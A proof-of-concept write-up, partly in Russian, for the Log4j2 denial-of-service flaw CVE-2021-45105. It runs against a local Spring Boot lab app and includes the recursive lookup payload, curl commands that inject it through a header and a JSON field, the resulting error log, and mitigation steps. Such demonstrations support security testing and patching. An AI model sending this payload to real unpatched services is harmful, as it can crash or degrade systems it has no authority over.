Log4j2 DOS (CVE-2021-45105)

Poc

${${::-${::-$${::-$}}}}

Затронутые версии: все версии от 2.0-beta9 до 2.16.0

Это приложение основано на веб-приложении Spring Boot, уязвимом для CVE-2021-45105

Оно использует Log4j 2.16.0

Запуск приложения

Запустите:

Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

Шаги эксплуатации

Затем запустите эксплойт с помощью:

For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'

Обратите внимание на вывод, показывающий бесконечный цикл, однако при тестировании не было обнаружено, что эта DoS-атака потребляет ресурсы, так как программа идентифицирует этот бесконечный цикл и выдает ошибку:


 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)

Смягчение угрозы :

Пользователям Java 8 (или новее) следует обновиться до версии 2.17.0.

В качестве альтернативы это можно смягчить в настройках:

В PatternLayout в конфигурации логирования замените Context Lookups, такие как ${ctx:loginId} или $${ctx:loginId}, на шаблоны Thread Context Map (%X, %mdc, или %MDC). В противном случае удалите из конфигурации ссылки на Context Lookups, такие как ${ctx:loginId} или $${ctx:loginId}, где они поступают из внешних по отношению к приложению источников, таких как HTTP-заголовки или пользовательский ввод.

Ссылка

https://issues.apache.org/jira/browse/LOG4J2-3230

Log4j_dos_CVE-2021-45105

Популярное